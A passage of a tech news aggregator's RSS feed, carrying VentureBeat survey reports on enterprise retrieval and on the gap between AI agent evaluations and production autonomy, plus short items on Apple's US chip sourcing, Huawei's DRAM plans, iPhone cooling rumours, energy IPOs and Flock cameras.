provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.</p><h2>Finding 5: Hybrid retrieval is the consensus bet</h2><p><b>Vector-only retrieval is already seen as insufficient</b></p><p>We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.</p><div></div><p>The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.</p><h2>Finding 6: The governed context layer is being built now</h2><p><b>Most run or are building a semantic layer — few in production</b></p><p>We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.</p><div></div><p>The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.</p><h2>Finding 7: Bought on ingestion and simplicity, watched for correctness</h2><p><b>Selection favors operability; monitoring favors correctness and security</b></p><p>We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.</p><div></div><p>Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). </p><p>Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.</p><h2>Finding 8: A retrieval reshuffle is coming</h2><p><b>A majority plan to change providers — and the vector specialists are gaining interest</b></p><p>We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.</p><div></div><p>The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.</p><h1>The bottom line: A context gap that more retrieval alone won’t close</h1><p>Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.</p><p>The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Is Apple bringing chip manufacturing home?]]></title>
<description><![CDATA[Apple’s recently announced $30 billion multi-year agreement with Broadcom is significant because it means billions of chips for Apple devices will be made in the US, supporting hundreds of jobs. 



This is Apple’s biggest US procurement deal so far, but it won’t be the last; when it announced th...]]></description>
<link>https://tsecurity.de/de/3674332/it-nachrichten/is-apple-bringing-chip-manufacturing-home/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674332/it-nachrichten/is-apple-bringing-chip-manufacturing-home/</guid>
<pubDate>Thu, 16 Jul 2026 20:02:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Apple’s recently announced $<a href="https://www.applemust.com/apples-30b-broadcom-deal-returns-iphone-chip-manufacture-to-us/" target="_blank" rel="noreferrer noopener">30 billion multi-year agreement with Broadcom</a> is significant because it means <a href="https://www.computerworld.com/article/4167296/apple-cant-make-chips-fast-enough-but-thats-only-part-of-the-story.html">billions of chips</a> for Apple devices will be made in the US, supporting hundreds of jobs. </p>



<p class="wp-block-paragraph">This is Apple’s biggest US procurement deal so far, but it won’t be the last; when it announced the arrangement, Apple confirmed it is, “working with the administration and businesses across the US to help create an end-to-end silicon supply chain in America.”</p>



<p class="wp-block-paragraph">That statement implies that the 15 billion chips Broadcom will produce won’t be the only processors in Apple devices to carry tiny little “Made in the USA” slogans. Broadcom is making custom silicon components and wireless connectivity technologies such as RF/wireless chips (Wi-Fi, Bluetooth, cellular, FBAR filters) and ASIC work, rather than application processors. But they are still chips for Apple devices.</p>



<h2 class="wp-block-heading"><strong>TSMC doubles down</strong></h2>



<p class="wp-block-paragraph">That’s why it is significant that <a href="https://www.datacenterdynamics.com/en/news/tsmc-announces-additional-100bn-investment-in-arizona-as-chipmaker-posts-402bn-revenue-for-q2-2026/" target="_blank" rel="noreferrer noopener">TSMC confirmed plans</a> to extend its own manufacturing in America. It already has a $165 billion US commitment; now, it is investing an additional $100 billion in four more chip plants — including one dedicated to churning out the company’s most advanced 2nm (and smaller) processors. </p>



<p class="wp-block-paragraph">“We believe this investment will help to further foster the development of the US semiconductor ecosystem, strengthen the supply chain, and support an increasing number of high-tech, high-paying jobs in the United States,”  CEO C.C. Wei told analysts.</p>



<p class="wp-block-paragraph">TSMC has also confirmed plans to invest in packaging facilities for processors, which is basically the process where memory, processor, and networking nodes can all be combined and packaged on the chip. That sort of packaging is needed to make the final SoC chip. That means TSMC factories in the US will be able to churn out the advanced processors used in Apple’s current and, presumably, future devices.</p>



<h2 class="wp-block-heading"><strong>The bill so far</strong></h2>



<p class="wp-block-paragraph">That’s three investments — in processor manufacturing, packaging, and Broadcom radios and chips — all of which are strategically important to Apple devices. TSMC makes the brains, Broadcom brings the connectivity. Total value so far: $295 billion, around 1.5 times Apple’s annual revenue in the Americas.</p>



<p class="wp-block-paragraph">It isn’t all about Apple. TSMC has other clients, and Apple is <a href="https://www.computerworld.com/article/4118123/apple-silicon-as-demand-grows-is-tsmc-driving-a-harder-bargain.html">no longer the company’s biggest customer</a> thanks to the drive to AI. But it is still an important one. That means at least some of TSMC’s newly invested US manufacturing capacity will be dedicated to making chips for Apple. The open question is how much US-manufactured chips will <a href="https://www.applemust.com/uh-oh-tsmc-price-hike-means-apple-silicon-is-also-getting-more-expensive/#google_vignette" target="_blank" rel="noreferrer noopener">cost in contrast to those made elsewhere</a>.</p>



<h2 class="wp-block-heading"><strong>It’s bigger than two deals</strong></h2>



<p class="wp-block-paragraph">These aren’t the only chip-focused partnerships Apple has made domestically. Apple’s American Manufacturing Program (AMP) launched in August 2025 as part of a $600 billion  four-year US investment commitment. TSMC and Broadcom were both named AMP partners, but they weren’t alone, and some arrangements have already been announced:</p>



<ul class="wp-block-list">
<li>GlobalFoundries is bringing mixed-signal chip manufacturing to make advanced ICs for Face ID.</li>



<li>Texas Instruments expanded production for analog/power chips.</li>



<li>Samsung is making a new chip-making process at its Austin, TX fab, described by Apple as having “never been used before anywhere in the world.”</li>



<li>Apple became the “first and largest customer” of <a href="https://www.computerworld.com/article/3547197/apple-amkor-and-tsmc-neath-the-arizona-skies.html">Amkor’s new advanced packaging/test facility in Arizona</a>.</li>



<li>Corning is expanding glass production.</li>



<li>Applied Materials is making chip manufacturing equipment under AMP.</li>
</ul>



<p class="wp-block-paragraph">Bundle all these deals together and it’s crystal clear that Apple’s $600 billion investment is at least in part focused on the technologically advanced components on which its devices are built. These components also have the advantage in being incredibly small, which means they are easy and cheap to ship for final assembly at increasingly automated final production locations worldwide. </p>



<h2 class="wp-block-heading"><strong>So, is it coming home?</strong></h2>



<p class="wp-block-paragraph">That’s the strategy: keep the high-value, hard-to-automate work — and the jobs it requires — in America, while leaving final assembly flexible enough to go wherever that makes sense now or in the future. Is Apple bringing manufacturing home? Partially, in that the bits that matter the most — brains and networking— are coming back, even if assembly is not.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>, <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a>, and subscribe to the human-curated daily Apple news briefing at <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Huawei eying possible DRAM market entry]]></title>
<description><![CDATA[Chinese tech giant Huawei is reportedly entering the DRAM manufacturing business in a bid to cash in on the insane profitability of memory sales.



Three firms – Micron Technology, SK hynix, and Samsung Electronics — account for 95% of the DRAM on the market worldwide. The rest is small players,...]]></description>
<link>https://tsecurity.de/de/3674262/it-security-nachrichten/huawei-eying-possible-dram-market-entry/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674262/it-security-nachrichten/huawei-eying-possible-dram-market-entry/</guid>
<pubDate>Thu, 16 Jul 2026 19:23:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Chinese tech giant Huawei is reportedly entering the DRAM manufacturing business in a bid to cash in on the <a href="https://www.networkworld.com/article/4166484/memory-shortage-and-cost-surge-push-enterprises-toward-cloud.html">insane profitability</a> of memory sales.</p>



<p class="wp-block-paragraph">Three firms – Micron Technology, SK hynix, and Samsung Electronics — account for 95% of the DRAM on the market worldwide. The rest is small players, mostly in China. One of them, CXMT, is gearing to make a run for the <a href="https://www.networkworld.com/article/4119222/whats-causing-the-memory-shortage.html">market</a> and try and take a little bit of their business. But it is a small player, especially compared to Huawei.</p>



<p class="wp-block-paragraph">Huawei’s strategy is complex. It is working with various entities to circumvent the <a href="https://www.tomshardware.com/tech-industry/huawei-chairman-thanks-the-us-for-supercharging-chinas-semiconductor-industry-washingtons-export-controls-encouraged-chinese-firms-to-invest-in-r-and-d-and-build-their-own-tech-stack-competing-with-american-technologies">U.S. trade sanctions</a> specifically targeting it. According to SemiconductorInsider <a href="https://x.com/SemiconductorsX/status/2075932441408356647">on X.com</a>, the Chinese government and DRAM chip maker Swaysure (formed in 2022) are planning to introduce a DRAM manufacturing plant with a capacity of 140,000 wafers per month.</p>



<p class="wp-block-paragraph">For perspective, Samsung manufacturers approximately 500,000 wafers per month, and Micron makes about 250,000 wafers per month.</p>



<p class="wp-block-paragraph">It all fits in perfectly with Beijing’s drive for semiconductor self-reliance uh especially after all of the <a href="https://www.networkworld.com/article/4004178/huawei-says-it-trails-its-us-rivals-in-chips-but-is-closing-the-gap.html">U.S. sanctions</a>. And it would be US interference, not Huawei’s inexperienced with making memory that will be its greatest challenge, says one analyst.</p>



<p class="wp-block-paragraph">“Their biggest problem will be tooling up, since the US has a lot of sway over the world’s semiconductor equipment makers, and it’s using that sway to prevent tools from being shipped to China,” said <a href="https://www.linkedin.com/in/jimhandy/">Jim Handy, president of Objective Analysis</a>.</p>



<p class="wp-block-paragraph">Handy said he hears that Huawei and Swaysure are working to produce DRAM starting at 28nm.  With that process they ought to be able to make 8Gb chips that yield reasonably but he doubts that they will be able to make HBM with that process, though.</p>



<p class="wp-block-paragraph">Since he doesn’t know how far along they are in the process, Handy doesn’t know when something could come to market.  “They may be on the cusp of shipping something, or they may be a couple of years away, but I don’t think they will wait any longer than that, so let’s say 2028.  If there’s still a shortage in 2028, they are likely to ramp as hard as they can to get to something like 2-5% of the market by 2030.  If the shortage ends before then, they will probably take a much longer time,” he said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]></title>
<description><![CDATA[Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated...]]></description>
<link>https://tsecurity.de/de/3674237/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674237/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</guid>
<pubDate>Thu, 16 Jul 2026 19:03:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.</p><p>This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.</p><p>The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.</p><p>What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability &amp; Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).</p><p>At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.</p><p><i>Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.</i></p><h1>Finding 1: A passing eval is not a working agent</h1><p><b>Half have shipped an agent that passed evals, then failed a customer</b></p><p>We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.</p><div></div><p>This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.</p><h2>Finding 2: Almost no one fully trusts automated evaluation</h2><p><b>The top complaint: Evals don't match real-world outcomes</b></p><p>We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.</p><div></div><p>Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.</p><h2>Finding 3: The autonomy ceiling is rising anyway</h2><p><b>Two-thirds already allow, or are building toward, zero-human deployment</b></p><p>We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.</p><div></div><p>Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.</p><p>Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. </p><h2>Finding 4: The evaluation stack is fragmented and provider-led</h2><p><b>Provider-native evals lead — tied with no dedicated tool at all</b></p><p>We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.</p><div></div><p>The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.</p><h2>Finding 5: Production monitoring rarely watches output quality</h2><p><b>Only a quarter run real-time quality checks on live traffic</b></p><p>Production monitoring for an AI agent can watch two very different things. It can watch whether the system is <b>functioning</b> — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is <b>correct</b> — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.</p><div></div><p>Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.</p><h2>Finding 6: Bought on cost, measured on consistency</h2><p><b>Price and integration drive selection; evaluation consistency is the goal</b></p><p>We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.</p><div></div><p>Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.</p><h2>Finding 7: The next dollar goes to humans and observability</h2><p><b>Investment is flowing to oversight, not just automation</b></p><p>We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.</p><div></div><p>The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. </p><p>Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.</p><h2>Finding 8: A tooling reshuffle is coming</h2><p><b>Nearly two-thirds plan to adopt or switch platforms within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.</p><div></div><p>The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. </p><p>Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.</p><h2>The bottom line: An evaluation gap that autonomy will widen, not close</h2><p>Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.</p><p>The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.</p><hr><p><i>Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Increases Vapor Chamber Orders for Upcoming Foldable iPhone]]></title>
<description><![CDATA[There is a lot of heat inside a modern smartphone. Apple knows this, and it is reportedly taking steps to cool things down for its future devices. Recent reports from the supply chain show the company is ordering a lot more vapor chambers. These cooling parts are essential for keeping high-end de...]]></description>
<link>https://tsecurity.de/de/3674169/ios-mac-os/apple-increases-vapor-chamber-orders-for-upcoming-foldable-iphone/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674169/ios-mac-os/apple-increases-vapor-chamber-orders-for-upcoming-foldable-iphone/</guid>
<pubDate>Thu, 16 Jul 2026 18:43:36 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[There is a lot of heat inside a modern smartphone. Apple knows this, and it is reportedly taking steps to cool things down for its future devices. Recent reports from the supply chain show the company is ordering a lot more vapor chambers. These cooling parts are essential for keeping high-end devices from overheating, and this sudden increase hints at major hardware changes coming to the iPhone lineup very soon.



New cooling components point directly toward a foldable design



A vapor chamber is a flat piece of metal that spreads out heat so a phone does not get too hot. This tech is already common in Android devices, but Apple has been slower to adopt it across its entire lineup. Now, suppliers are seeing a big bump in requests. Industry experts believe this is tied to the long-rumored foldable model.



Foldable phones have very little space inside, and they pack screens that generate a ton of heat. Getting the temperature under control is a big hurdle. Adding more vapor chambers is a clear sign that the company is finalizing the internal layout for a device that folds. While we might not see it until the release of the iPhone 18 Pro or iPhone 18 Pro Max, the supply chain moves years in advance.



Upcoming premium models might also get better heat management



The foldable is not the only device that needs better cooling. Rumors also suggest that the upcoming iPhone 17 Pro could use this technology to handle faster processors. When a phone runs high-end games or captures big video files, the chip works overtime. A good vapor chamber keeps the battery safe and stops the screen from dimming.



There is also talk about a super-thin iPhone Ultra model down the road. Thinner phones have a harder time getting rid of heat because everything is packed so tightly together. By securing a massive supply of vapor chambers now, Apple is making sure its next generation of premium devices can run complex tasks without burning your hands.



Apple never confirms its hardware plans until it steps on stage. However, following the money in the supply chain often paints a very accurate picture. A massive order for cooling parts means thinner bodies and more demanding screens are definitely on the way.]]></content:encoded>
</item>
<item>
<title><![CDATA[Energy IPOs surge as investors hunt for ways to play AI boom]]></title>
<description><![CDATA[Companies coming to market are raising money at fastest pace this century.]]></description>
<link>https://tsecurity.de/de/3674077/ai-nachrichten/energy-ipos-surge-as-investors-hunt-for-ways-to-play-ai-boom/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674077/ai-nachrichten/energy-ipos-surge-as-investors-hunt-for-ways-to-play-ai-boom/</guid>
<pubDate>Thu, 16 Jul 2026 18:20:20 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Companies coming to market are raising money at fastest pace this century.]]></content:encoded>
</item>
<item>
<title><![CDATA[The backlash against Flock cameras is spreading]]></title>
<description><![CDATA[Privacy concerns have dogged Flock’s automated license plate recognition system for years. Now accuracy and reliability are coming under scrutiny too. This article has been indexed from Malwarebytes Read the original article: The backlash against Flock cameras is spreading
Read more →
The post Th...]]></description>
<link>https://tsecurity.de/de/3673816/it-security-nachrichten/the-backlash-against-flock-cameras-is-spreading/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673816/it-security-nachrichten/the-backlash-against-flock-cameras-is-spreading/</guid>
<pubDate>Thu, 16 Jul 2026 16:37:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Privacy concerns have dogged Flock’s automated license plate recognition system for years. Now accuracy and reliability are coming under scrutiny too. This article has been indexed from Malwarebytes Read the original article: The backlash against Flock cameras is spreading</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/the-backlash-against-flock-cameras-is-spreading/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/the-backlash-against-flock-cameras-is-spreading/">The backlash against Flock cameras is spreading</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[iPad & iPad Air refreshes are coming, but not until 2027]]></title>
<description><![CDATA[While a new iPad mini is expected before the end of 2026, a new report says you'll need to wait longer for updates to the entry-level iPad, iPad Air, and iPad Pro.The whole iPad range is scheduled for updates.The most recent rumors of the first update to the iPad mini since October 2024 have clai...]]></description>
